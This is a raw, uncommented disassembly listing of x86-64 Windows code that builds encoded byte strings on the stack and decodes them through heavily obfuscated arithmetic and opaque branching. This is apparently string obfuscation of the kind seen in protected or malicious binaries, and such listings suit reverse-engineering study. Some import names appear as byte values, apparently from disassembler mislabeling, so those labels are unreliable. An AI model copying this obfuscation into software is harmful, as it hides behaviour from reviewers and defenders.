mov byte [rbp + 0x568], 0xab
mov byte [rbp + 0x569], 0x9c
mov byte [rbp + 0x56a], 0x9e
mov byte [rbp + 0x56b], __WSAFDIsSet
mov byte [rbp + 0x56c], __WSAFDIsSet
mov byte [rbp + 0x56d], 0x9d
mov byte [rbp + 0x56e], 0x9b
mov byte [rbp + 0x56f], 0x67
mov byte [rbp + 0x570], 0x99
mov byte [rbp + 0x571], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x572], 0x64
mov byte [rbp + 0x573], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x574], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x575], 0xec
mov byte [rbp + 0x576], 0xe3
mov byte [rbp + 0x577], 0xda
mov byte [rbp + 0x578], 0xef
mov byte [rbp + 0x579], 0xef
mov byte [rbp + 0x57a], Ordinal_217
mov byte [rbp + 0x57b], 0xe6
mov byte [rbp + 0x57c], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x57d], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x57e], Ordinal_35
mov byte [rbp + 0x57f], 9
mov byte [rbp + 0x580], 0x76
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x581], xmm0
movups xmmword [rbp + 0x591], xmm0
mov word [rbp + 0x5a1], ax
movabs r14, 0x84c5337810f6922d
movabs r12, 0x97da015854d0dae1
movabs r15, 0x8e4f9a6832e3b687
movzx ebx, byte [rsp + 0x31]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
mov rdi, r13
cmp rdi, 0x43
jae 0x1400c751f
movzx r11d, byte [rbp + rdi + 0x560]
mov edx, r11d
nop dword [rax]
cmp r8, rdi
ja 0x1400c7516
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c6beb
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x3b
jmp 0x1400c6c17
je 0x1400c74ad
inc rax
cmp r8, rax
je 0x1400c7456
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c7401
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c73e2
movzx r10d, dil
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400c750d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c6c49
lea ecx, [r10 - 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x29
jmp 0x1400c6c82
je 0x1400c73a0
inc rax
cmp r8, rax
je 0x1400c737b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c735f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c7343
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c72fd
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c6f05
nop
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c6eeb
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c6ec2
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400c6ea0
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c6e82
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c6e66
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c74f1
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c74d5
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400c6da7
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400c6d8d
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c6d73
lea r8, [r9 + 6]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c6e39
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400c6e1d
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c6dff
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400c6de3
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400c6dc3
lea r8, [r9 + 3]
lea r9, [r8 + 0x80]
jmp 0x1400c6c90
lea ecx, [r10 + 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 9
jmp 0x1400c6c82
lea ecx, [r10 + 0x15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x6d
jmp 0x1400c6c20
sub r10b, 0x45
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x1d
jmp 0x1400c6bc0
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c743b
sub r10b, 0x3a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x6a
jmp 0x1400c743e
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c7312
add r10b, 0x12
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x7e
jmp 0x1400c7469
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 8
movzx eax, byte [rbp + rdi + 0x560]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6ba3
sub r10b, 0x42
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x32
jmp 0x1400c743b
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c7419
add r10b, 0xa
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x46
dec rdi
inc rdi
jmp 0x1400c6ba3
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c6ba3
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5a
jmp 0x1400c73b5
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c6fae
lea ecx, [r10 + 0x2d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x3b
lea rax, [r9 + r8]
cmp rax, 0x40
je 0x1400c72ea
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400c70d0
lea ecx, [r10 - 0x47]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0xf
cmp r8, 0x10
jae 0x1400c72cd
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400c71f0
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
cmp r9, 8
jb 0x1400c72be
lea ecx, [r10 - 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea ebx, [rcx*2 - 4]
jmp 0x1400c73b5
jne 0x1400c6fe1
add r10b, 0x62
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x560]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6ba3
inc rax
cmp r8, rax
jne 0x1400c7005
sub r10b, 0x44
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x24
jmp 0x1400c7469
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c702c
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c7312
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c7051
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x10
jmp 0x1400c743e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c707a
sub r10b, 0x36
movzx eax, r10b
and al, r11b
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c743b
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c70a1
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c7419
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c6f27
add r10b, 0x7e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x72
dec rdi
inc rdi
jmp 0x1400c6ba3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c70f3
lea ecx, [r10 + 0x13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x7b
jmp 0x1400c73b5
inc rax
cmp r8, rax
jne 0x1400c7120
add r10b, 0x6d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 5
inc r9
dec rdi
inc rdi
jmp 0x1400c6ba3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c714b
sub r10b, 0x39
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x71
dec rdi
inc rdi
jmp 0x1400c6ba3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c716e
lea ecx, [r10 + 0x21]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x19
jmp 0x1400c7419
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c7193
sub r10b, 0x2b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x2d
jmp 0x1400c743e
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c71b6
lea ecx, [r10 + 0x2f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x49
jmp 0x1400c7312
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c6f57
sub r10b, 0x1d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x35
movzx eax, byte [rbp + rdi + 0x560]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6ba3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c7226
sub r10b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x5c
movzx eax, byte [rbp + rdi + 0x560]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6ba3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c7249
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x48
jmp 0x1400c7312
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c7272
sub r10b, 0x2e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c743e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c7297
add r10b, 0x2c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x34
jmp 0x1400c743b
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c6f87
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0xc
jmp 0x1400c73b5
mov byte [rbp + rdi + 0x560], bl
inc rdi
jmp 0x1400c6ba3
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 4
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400c7419
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [rcx - 0x6e]
jmp 0x1400c7312
lea ecx, [r10 + 0x27]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x11
sub r10b, 0x31
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x57
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x560], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400c7469
sub r10b, 0x33
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x65
jmp 0x1400c743e
add r10b, 0x73
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x25
jmp 0x1400c743b
add r10b, 0x65
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x3d
inc r9
dec rdi
inc rdi
jmp 0x1400c6ba3
lea ecx, [r10 + 0xb]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x4d
add r10b, 0x1b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x43
add r11b, r10b
mov byte [rbp + rdi + 0x560], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c6ba3
lea ecx, [rdi - 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x75
dec rdi
inc rdi
jmp 0x1400c6ba3
movzx r10d, dil
lea ecx, [r10 + 0x49]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
inc bl
add r10b, 0x75
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x33
add r11b, r10b
add r11b, bl
mov byte [rbp + rdi + 0x560], r11b
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c6ba3
lea rcx, [rdi + r12]
and dl, cl
add dl, dl
movzx ebx, r11b
sub bl, dl
sub bl, 0x27
add bl, cl
lea edx, [rdi - 4]
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x560], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x560]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6ba3
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub r11b, dl
lea ebx, [rax + r11]
add bl, 0x4f
movzx eax, byte [rbp + rdi + 0x560]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6ba3
add r10b, 0x61
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x59
jmp 0x1400c6ba0
add r10b, 7
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x31
jmp 0x1400c6b92
lea rdx, [rbp + 0x16a3b9c]
jmp 0x1400c7526
lea rdx, [rbp + 0xe0cdc9]
jmp 0x1400c7526
lea rdx, [rbp + 0x560]
mov rcx, rsi
call fcn.1400644d0
mov byte [rbp + 0x158], Ordinal_211
mov byte [rbp + 0x159], 0xa4
mov byte [rbp + 0x15a], 0x90
mov byte [rbp + 0x15b], __WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x15c], xmm0
mov qword [rbp + 0x16c], rax
mov dword [rbp + 0x174], eax
mov byte [rbp + 0x178], al
movabs rsi, 0x872cb4c9e2e11cdb
movabs r15, 0x9d3ddb32e051e6c3
movabs r14, 0xd7b99198a0f5b449
movzx ebx, byte [rsp + 0x31]
nop dword [rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
mov rdi, r13
cmp rdi, 0x21
jae 0x1400c7e9b
movzx r10d, byte [rbp + rdi + 0x158]
mov edx, r10d
nop dword [rax]
cmp r8, rdi
ja 0x1400c7e93
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c75ea
lea rcx, [rdi + r15]
mov eax, edx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
sub bl, 0x55
jmp 0x1400c7616
je 0x1400c7e2c
inc rax
cmp r8, rax
je 0x1400c7e02
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c7de9
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c7da9
movzx r11d, dil
nop word [rax + rax]
cmp r9, rdi
ja 0x1400c7e8b
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400c7649
lea ecx, [r11 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 7
jmp 0x1400c7680
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c7d65
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c7d43
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c7cbc
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c7ca1
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c7a14
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c79f8
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400c79d3
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c79b5
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c7996
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c7978
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c7947
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c7e6f
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400c7e53
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400c77bf
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400c77a5
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c78a3
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c787d
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400c7690
lea r8, [r9 + 9]
lea r9, [r8 + 4]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c7850
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c7832
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c7813
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c77f5
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c77d9
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400c7690
lea r8, [r9 + 2]
lea r9, [r8 + 0x41]
jmp 0x1400c7690
lea ecx, [r11 - 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x27
jmp 0x1400c7680
lea ecx, [r11 + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x7d
jmp 0x1400c7620
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400c7d7a
lea edx, [r11 + 0x66]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c7dc2
sub r11b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x20
add r8, r9
jmp 0x1400c7e14
add r11b, 0x4e
movzx eax, r10b
and al, r11b
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x22
add bl, r11b
jmp 0x1400c7cff
sub r11b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x78
movzx eax, byte [rbp + rdi + 0x158]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c75a3
sub r11b, 7
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x31
mov byte [rbp + rdi + 0x158], bl
inc rdi
jmp 0x1400c75a3
lea edx, [r11 + 0x67]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x2f
add bl, dl
lea rax, [r9 + r8]
cmp rax, 9
je 0x1400c7c87
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400c7ae5
lea edx, [r11 + 0x77]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x41
add bl, dl
cmp r8, 2
jae 0x1400c7c6a
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1400c7b8f
lea edx, [r11 + 0x76]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x3a
add bl, dl
cmp r9, 0x61
jb 0x1400c7894
lea edx, [r11 - 0x4e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1400c7d7c
sub r11b, 6
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x158]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c75a3
add r11b, 0x74
movzx eax, r10b
and al, r11b
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x2c
add bl, r11b
jmp 0x1400c7cff
sub r11b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x2e
add r8, r9
jmp 0x1400c7e14
lea edx, [r11 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c7dc2
add r11b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x30
inc r9
dec rdi
inc rdi
jmp 0x1400c75a3
lea edx, [r11 - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400c7d7a
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400c7a37
lea edx, [r11 - 0x3d]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x55
jmp 0x1400c78b8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c7a71
sub r11b, 2
movzx eax, r10b
and al, r11b
mov ecx, 7
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x158]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c75a3
inc rax
cmp r8, rax
jne 0x1400c7a99
sub r11b, 0x7c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c7cff
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c7abe
lea edx, [r11 - 0x64]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x44
add bl, dl
jmp 0x1400c7dc2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c78ba
lea edx, [r11 + 0x2e]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x42
jmp 0x1400c7d7a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c7b08
lea edx, [r11 - 3]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x15
jmp 0x1400c7d7a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c7b30
add r11b, 0x15
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x6d
add r8, r9
jmp 0x1400c7e14
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c7b55
sub r11b, 0x65
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x3d
jmp 0x1400c7e14
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400c78ef
add r11b, 0x2d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x3b
movzx eax, byte [rbp + rdi + 0x158]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c75a3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400c7bc9
sub r11b, 4
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x158]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c75a3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c7bec
lea edx, [r11 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x38
jmp 0x1400c7cd1
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400c7c15
sub r11b, 0x72
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c7e14
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c7c41
add r11b, 0x14
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
add r8, r9
jmp 0x1400c7e14
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c791d
lea edx, [r11 - 0x66]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x36
add bl, dl
jmp 0x1400c7dc2
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x3c
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400c7dc2
lea edx, [r11 - 0x42]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, r10b
sub bl, 0x32
jmp 0x1400c7cd1
add r11b, 0x2f
movzx eax, r10b
and al, r11b
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x49
add bl, r11b
jmp 0x1400c7cff
lea edx, [r11 - 0x57]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x61
add bl, dl
sub r11b, 0x7f
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x79
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi + 0x158], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0x158], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x158]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c75a3
sub r11b, 0x6f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 9
dec rdi
inc rdi
jmp 0x1400c75a3
lea edx, [r11 - 0x7b]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x5d
add bl, dl
add r11b, 0x75
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x33
add r11b, r10b
mov byte [rbp + rdi + 0x158], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c75a3
movzx r11d, dil
lea ecx, [r11 - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x51
sub r11b, 5
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x23
add r11b, bl
add r11b, r10b
mov byte [rbp + rdi + 0x158], r11b
add r8, r9
jmp 0x1400c7e14
lea ecx, [rdi + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x59
add r8, r9
jmp 0x1400c7e14
lea rax, [rdi + rsi]
and dl, al
add dl, dl
sub r10b, dl
lea ebx, [rax + r10]
add bl, 3
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c75a3
lea rax, [rdi + r14]
and dl, al
add dl, dl
sub r10b, dl
lea ebx, [rax + r10]
inc bl
movzx eax, byte [rbp + rdi + 0x158]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c75a3
add r11b, 0x4f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x29
